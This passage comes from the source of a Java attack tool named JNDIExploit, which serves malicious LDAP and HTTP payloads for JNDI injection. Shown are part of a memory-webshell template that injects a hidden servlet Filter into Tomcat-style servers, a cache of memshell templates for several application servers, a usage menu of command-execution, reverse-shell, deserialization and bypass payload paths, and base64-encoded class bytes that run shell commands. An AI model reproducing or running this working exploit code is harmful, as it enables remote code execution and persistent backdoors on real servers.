0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspV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"; byte[] bytes = base64Decoder.decodeBuffer(codeClass); Class clz = cl.getClass(); while(method == null && clz != Object.class ){ try{ method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); }catch(NoSuchMethodException ex){ clz = clz.getSuperclass(); } } method.setAccessible(true); clazz = (Class) method.invoke(cl, bytes, 0, bytes.length); } Object filterConfig = context.getClass().getMethod("createFilterConfig", new Class[]{String.class}).invoke(context, new Object[]{filterName}); Object filter = clazz.newInstance(); filterConfig.getClass().getMethod("setFilter", new Class[]{Filter.class}).invoke(filterConfig, new Object[]{filter}); method = null; methods = webAppConfiguration.getClass().getMethods(); for(int i = 0; i < methods.length; i++){ if(methods[i].getName().equals("addFilterInfo")){ method = methods[i]; break; } } method.invoke(webAppConfiguration, new Object[]{filterConfig}); field = filterConfig.getClass().getSuperclass().getDeclaredField("context"); field.setAccessible(true); Object original = field.get(filterConfig); //设置为null,从而 addMappingForUrlPatterns 流程中不会抛出异常 field.set(filterConfig, null); method = filterConfig.getClass().getDeclaredMethod("addMappingForUrlPatterns", new Class[]{EnumSet.class, boolean.class, String[].class}); method.invoke(filterConfig, new Object[]{EnumSet.of(DispatcherType.REQUEST), true, new String[]{urlPattern}}); //addMappingForUrlPatterns 流程走完,再将其设置为原来的值 field.set(filterConfig, original); method = null; methods = webAppConfiguration.getClass().getMethods(); for(int i = 0; i < methods.length; i++){ if(methods[i].getName().equals("getUriFilterMappings")){ method = methods[i]; break; } } //这里的目的是为了将我们添加的动态 Filter 放到第一位 List uriFilterMappingInfos = (List)method.invoke(webAppConfiguration, new Object[0]); uriFilterMappingInfos.add(0, filerMappings.get(filerMappings.size() - 1)); } break; } } }catch(Exception e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } ================================================ FILE: src/main/java/com/feihong/ldap/utils/Cache.java ================================================ package com.feihong.ldap.utils; import net.jodah.expiringmap.ExpirationPolicy; import net.jodah.expiringmap.ExpiringMap; import java.util.concurrent.TimeUnit; public class Cache { private static ExpiringMap map = ExpiringMap.builder() .maxSize(1000) .expiration(30, TimeUnit.SECONDS) .variableExpiration() .expirationPolicy(ExpirationPolicy.CREATED) .build(); static{ try { //过期时间100年,永不过期的简单方法 map.put("TomcatMemshellTemplate", Util.getClassBytes("com.feihong.ldap.template.TomcatMemshellTemplate"), 365 * 100, TimeUnit.DAYS); map.put("JettyMemshellTemplate", Util.getClassBytes("com.feihong.ldap.template.JettyMemshellTemplate"), 365 * 100, TimeUnit.DAYS); map.put("WeblogicMemshellTemplate", Util.getClassBytes("com.feihong.ldap.template.WeblogicMemshellTemplate"), 365 * 100, TimeUnit.DAYS); map.put("JBossMemshellTemplate", Util.getClassBytes("com.feihong.ldap.template.JBossMemshellTemplate"), 365 * 100, TimeUnit.DAYS); map.put("WebsphereMemshellTemplate", Util.getClassBytes("com.feihong.ldap.template.WebsphereMemshellTemplate"), 365 * 100, TimeUnit.DAYS); map.put("SpringMemshellTemplate", Util.getClassBytes("com.feihong.ldap.template.SpringMemshellTemplate"), 365 * 100, TimeUnit.DAYS); } catch (Exception e) { e.printStackTrace(); } } public static byte[] get(String key){ return map.get(key); } public static void set(String key, byte[] bytes){ map.put(key, bytes); } public static boolean contains(String key){ return map.containsKey(key); } public static void remove(String key){ map.remove(key); } } ================================================ FILE: src/main/java/com/feihong/ldap/utils/Config.java ================================================ package com.feihong.ldap.utils; import com.beust.jcommander.JCommander; import com.beust.jcommander.Parameter; import com.beust.jcommander.UnixStyleUsageFormatter; import com.feihong.ldap.Starter; public class Config { public static String codeBase; @Parameter(names = {"-i", "--ip"}, description = "Local ip address ", required = true, order = 1) public static String ip; @Parameter(names = {"-l", "--ldapPort"}, description = "Ldap bind port", order = 2) public static int ldapPort = 1389; @Parameter(names = {"-p", "--httpPort"}, description = "Http bind port", order = 3) public static int httpPort = 8080; @Parameter(names = {"-u", "--usage"}, description = "Show usage", order = 4) public static boolean showUsage; @Parameter(names = {"-h", "--help"}, help = true, description = "Show this help") private static boolean help = false; public static void applyCmdArgs(String[] args) { //process cmd args JCommander jc = JCommander.newBuilder() .addObject(new Config()) .build(); try{ jc.parse(args); }catch(Exception e){ if(!showUsage){ System.out.println("Error: " + e.getMessage() + "\n"); help = true; } } if(showUsage){ String ip = (Config.ip != null) ? Config.ip : "[IP]"; String port = (Config.ip != null) ? Config.ldapPort + "" : "[PORT]"; System.out.println("Supported LADP Queries:"); System.out.println("* all words are case INSENSITIVE when send to ldap server"); String prefix = "ldap://" + Config.ip + ":" + Config.ldapPort + "/"; System.out.println("\n[+] Basic Queries: " + prefix + "Basic/[PayloadType]/[Params], e.g."); System.out.println(" " + prefix + "Basic/Dnslog/[domain]"); System.out.println(" " + prefix + "Basic/Command/[cmd]"); System.out.println(" " + prefix + "Basic/Command/Base64/[base64_encoded_cmd]"); System.out.println(" " + prefix + "Basic/ReverseShell/[ip]/[port] ---windows NOT supported"); System.out.println(" " + prefix + "Basic/TomcatMemshell"); System.out.println(" " + prefix + "Basic/JettyMemshell"); System.out.println(" " + prefix + "Basic/WeblogicMemshell"); System.out.println(" " + prefix + "Basic/JBossMemshell"); System.out.println(" " + prefix + "Basic/WebsphereMemshell"); System.out.println(" " + prefix + "Basic/SpringMemshell"); System.out.println("\n[+] Deserialize Queries: " + prefix + "Deserialize/[GadgetType]/[PayloadType]/[Params], e.g."); System.out.println(" " + prefix + "Deserialize/URLDNS/[domain]"); System.out.println(" " + prefix + "Deserialize/CommonsCollections1/Dnslog/[domain]"); System.out.println(" " + prefix + "Deserialize/CommonsCollections2/Command/[cmd]"); System.out.println(" " + prefix + "Deserialize/CommonsBeanutils1/Command/Base64/[base64_encoded_cmd]"); System.out.println(" " + prefix + "Deserialize/C3P0/ReverseShell/[ip]/[port] ---windows NOT supported"); System.out.println(" " + prefix + "Deserialize/Jre8u20/TomcatMemshell ---ALSO support other memshells"); System.out.println("\n[+] TomcatBypass Queries"); System.out.println(" " + prefix + "TomcatBypass/Dnslog/[domain]"); System.out.println(" " + prefix + "TomcatBypass/Command/[cmd]"); System.out.println(" " + prefix + "TomcatBypass/Command/Base64/[base64_encoded_cmd]"); System.out.println(" " + prefix + "TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported"); System.out.println(" " + prefix + "TomcatBypass/TomcatMemshell"); System.out.println(" " + prefix + "TomcatBypass/SpringMemshell"); System.out.println("\n[+] GroovyBypass Queries"); System.out.println(" " + prefix + "GroovyBypass/Command/[cmd]"); System.out.println(" " + prefix + "GroovyBypass/Command/Base64/[base64_encoded_cmd]"); System.out.println("\n[+] WebsphereBypass Queries"); System.out.println(" " + prefix + "WebsphereBypass/List/file=[file or directory]"); System.out.println(" " + prefix + "WebsphereBypass/Upload/Dnslog/[domain]"); System.out.println(" " + prefix + "WebsphereBypass/Upload/Command/[cmd]"); System.out.println(" " + prefix + "WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]"); System.out.println(" " + prefix + "WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported"); System.out.println(" " + prefix + "WebsphereBypass/Upload/WebsphereMemshell"); System.out.println(" " + prefix + "WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp"); System.exit(0); } // //获取当前 Jar 的名称 // String jarPath = Starter.class.getProtectionDomain().getCodeSource().getLocation().getPath(); jc.setProgramName("java -jar JNDIExploit.jar"); jc.setUsageFormatter(new UnixStyleUsageFormatter(jc)); if(help) { jc.usage(); //if -h specified, show help and exit System.exit(0); } // 特别注意:最后一个反斜杠不能少啊 Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/"; } } ================================================ FILE: src/main/java/com/feihong/ldap/utils/Util.java ================================================ package com.feihong.ldap.utils; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Method; import java.util.Random; public class Util { public static String getRandomString() { String str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; StringBuilder sb = new StringBuilder(); for (int i = 0; i < 10; i++) { char ch = str.charAt(new Random().nextInt(str.length())); sb.append(ch); } return sb.toString(); } public static String getClassCode(String className) throws Exception { byte[] bytes = getClassBytes(className); String result = Util.base64Encode(bytes); return result; } public static byte[] getClassBytes(String className) throws Exception { String resoucePath = "/" + className.replaceAll("\\.", "/") + ".class"; InputStream in = Util.class.getResourceAsStream(resoucePath); byte[] bytes = new byte[1024]; ByteArrayOutputStream baous = new ByteArrayOutputStream(); int len = 0; while((len = in.read(bytes)) != -1){ baous.write(bytes, 0 , len); } in.close(); baous.close(); return baous.toByteArray(); } public static String base64Encode(byte[] bytes) throws Exception{ String result; try{ Class clazz = Class.forName("java.util.Base64"); Method method = clazz.getDeclaredMethod("getEncoder"); Object obj = method.invoke(null); method = obj.getClass().getDeclaredMethod("encodeToString", byte[].class); obj = method.invoke(obj, bytes); result = (String)obj; }catch(ClassNotFoundException e){ Class clazz = Class.forName("sun.misc.BASE64Encoder"); Method method = clazz.getMethod("encodeBuffer", byte[].class); Object obj = method.invoke(clazz.newInstance(), bytes); result = (String)obj; result = result.replaceAll("\r|\n|\r\n", ""); } return result; } public static byte[] base64Decode(String str) throws Exception{ byte[] bytes; try{ Class clazz = Class.forName("java.util.Base64"); Method method = clazz.getDeclaredMethod("getDecoder"); Object obj = method.invoke(null); method = obj.getClass().getDeclaredMethod("decode", String.class); obj = method.invoke(obj, str); bytes = (byte[]) obj; }catch(ClassNotFoundException e){ Class clazz = Class.forName("sun.misc.BASE64Decoder"); Method method = clazz.getMethod("decodeBuffer", String.class); Object obj = method.invoke(clazz.newInstance(), str); bytes = (byte[]) obj; } return bytes; } public static byte[] serialize(Object ref) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(out); objOut.writeObject(ref); return out.toByteArray(); } public static String getCmdFromBase(String base) throws Exception { int firstIndex = base.lastIndexOf("/"); String cmd = base.substring(firstIndex + 1); int secondIndex = base.lastIndexOf("/", firstIndex - 1); if(secondIndex < 0){ secondIndex = 0; } if(base.substring(secondIndex + 1, firstIndex).equalsIgnoreCase("base64")){ byte[] bytes = Util.base64Decode(cmd); cmd = new String(bytes); } return cmd; } public static String[] getIPAndPortFromBase(String base) throws NumberFormatException{ int firstIndex = base.lastIndexOf("/"); String port = base.substring(firstIndex + 1); int secondIndex = base.lastIndexOf("/", firstIndex - 1); if(secondIndex < 0){ secondIndex = 0; } String ip = base.substring(secondIndex + 1, firstIndex); return new String[]{ip, Integer.parseInt(port) + ""}; } } ================================================ FILE: src/test/java/TestBase64.java ================================================ import com.feihong.ldap.utils.Util; import org.junit.Test; import java.io.File; import java.io.FileNotFoundException; import java.io.FileOutputStream; public class TestBase64 { @Test public void testEncoder() throws Exception { String test = "Hello, how are you?"; System.out.println(Util.base64Encode(test.getBytes())); } @Test public void testDecoder() throws Exception{ String base64Strng = "SGVsbG8sIGhvdyBhcmUgeW91Pw=="; byte[] bytes = Util.base64Decode(base64Strng); System.out.println(new String(bytes)); } @Test public void test() throws Exception { String base64String = "yv66vgAAADIBWQoAPwChCgBaAKIJAKMApAgApQoApgCnCACoCwBFAKkIAKoKAA4AqwoArACtCgAOAK4JAK8AsAgAsQcAsggAswgAtAgAcQgAtQcAtgoAtwC4CgC3ALkKALoAuwoAEwC8CAC9CgATAL4KABMAvwsARgDACgDBAKcHAMIKAKwAwwsAHQDECwAdAMUIAMYKAKwAxwsAHQDICADJCwDKAMsIAMwKAM0AzgcAzwcA0AoAKQChCwDKANEKACkA0ggA0woAKQDUCgApANUKAA4A1goAKADXCgDNANgHANkKADMAoQsARQDaCgDbANwKADMA3QoAzQDeCQBaAN8IAOAHAOEHAHYHAOIKADsA4wcA5AoA5QDmCgDlAOcKAOgA6QoAOwDqCADrBwDsBwDtBwDuCgBHAO8LAPAA8QgA8goAPQDzBwD0CgA/APUJAPYA9wcA+AoAOwD5CAD6CgDoAPsKAPYA/AcA/QoAVADvBwD+CgBWAO8HAP8KAFgA7wcBAAcBAQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACxMY29tL21lbXNoZWxsL2dlbmVyaWMvRHluYW1pY0ZpbHRlclRlbXBsYXRlOwEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOwEACkV4Y2VwdGlvbnMHAQIBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAA2NtZAEAAWsBAAZjaXBoZXIBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAA5ldmlsQ2xhc3NCeXRlcwEAAltCAQAJZXZpbENsYXNzAQAKZXZpbE9iamVjdAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADHRhcmdldE1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQANU3RhY2tNYXBUYWJsZQcAsgcAbgcA7gEAB2Rlc3Ryb3kBAAppbml0aWFsaXplAQACZXgBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBAAVjbGF6egEABm1ldGhvZAEABGNvZGUBAAVieXRlcwEAIkxqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbjsBAAtjbGFzc0xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEALUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uOwcBAAcA4gcA9AcA4QcBAwcA+AcA/QcA/gcA/wEAClNvdXJjZUZpbGUBABpEeW5hbWljRmlsdGVyVGVtcGxhdGUuamF2YQwAXgBfDACJAF8HAQQMAQUBBgEAHVsrXSBEeW5hbWljIEZpbHRlciBzYXlzIGhlbGxvBwEHDAEIAQkBAAR0eXBlDAEKAQsBAAViYXNpYwwA6wEMBwENDAEOAQ8MARABEQcBEgwBEwBwAQABLwEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoAQACLWMBAAIvQwEAEWphdmEvdXRpbC9TY2FubmVyBwEUDAEVARYMARcBGAcBGQwBGgEbDABeARwBAAJcQQwBHQEeDAEfAQ8MASABIQcBIgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QMASMBDwwBIwELDAEkAQ8BAARQT1NUDAElAQ8MASYBJwEAAXUHASgMASkBKgEAA0FFUwcBKwwBLAEtAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAEuAS8MATABMQEAAAwBMAEyDAEzAQ8MATQBNQwAXgE2DABlATcBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAE4ATkHAToMATsBDwwBPAE9DAE+AT8MAFwAXQEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyDAFAAUEBABBqYXZhL2xhbmcvT2JqZWN0BwFCDAFDAUQMAUUBRgcBAwwBRwFIDAFJAUoBAAZlcXVhbHMBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFLAF8HAUwMAGsBTQEAImNvbS5tZW1zaGVsbC5nZW5lcmljLk15Q2xhc3NMb2FkZXIMAU4BTwEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFQAVEHAVIMAVMAXQEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVQBUQEDEHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNSTVkyOXRMMjFsYlhOb1pXeHNMMmRsYm1WeWFXTXZUWGxEYkdGemMweHZZV1JsY2pzQkFBRmpBUUFYVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc0JBQXRrWldacGJtVkRiR0Z6Y3dFQUxDaGJRa3hxWVhaaEwyeGhibWN2UTJ4aGMzTk1iMkZrWlhJN0tVeHFZWFpoTDJ4aGJtY3ZRMnhoYzNNN0FRQUZZbmwwWlhNQkFBSmJRZ0VBQzJOc1lYTnpURzloWkdWeUFRQUtVMjkxY21ObFJtbHNaUUVBRWsxNVEyeGhjM05NYjJGa1pYSXVhbUYyWVF3QUJnQUhBUUFpWTI5dEwyMWxiWE5vWld4c0wyZGxibVZ5YVdNdlRYbERiR0Z6YzB4dllXUmxjZ3dBRHdBYUFRQVZhbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5QVFBWEtGdENTVWtwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNBSVFBQ0FBVUFBQUFBQUFJQUFBQUdBQWNBQVFBSUFBQUFPZ0FDQUFJQUFBQUdLaXUzQUFHeEFBQUFBZ0FKQUFBQUJnQUJBQUFBQkFBS0FBQUFGZ0FDQUFBQUJnQUxBQXdBQUFBQUFBWUFEUUFPQUFFQUNRQVBBQkFBQVFBSUFBQUFSQUFFQUFJQUFBQVF1d0FDV1N1M0FBTXFBeXErdGdBRXNBQUFBQUlBQ1FBQUFBWUFBUUFBQUFnQUNnQUFBQllBQWdBQUFCQUFFUUFTQUFBQUFBQVFBQk1BRGdBQkFBRUFGQUFBQUFJQUZRPT0MAVUBVgwBVwFYAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAKmNvbS9tZW1zaGVsbC9nZW5lcmljL0R5bmFtaWNGaWx0ZXJUZW1wbGF0ZQEAFGphdmF4L3NlcnZsZXQvRmlsdGVyAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBABtjb20vbWVtc2hlbGwvZ2VuZXJpYy9Db25maWcBAAtnZXRQYXNzd29yZAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAHaXNFbXB0eQEAAygpWgEADGphdmEvaW8vRmlsZQEACXNlcGFyYXRvcgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2N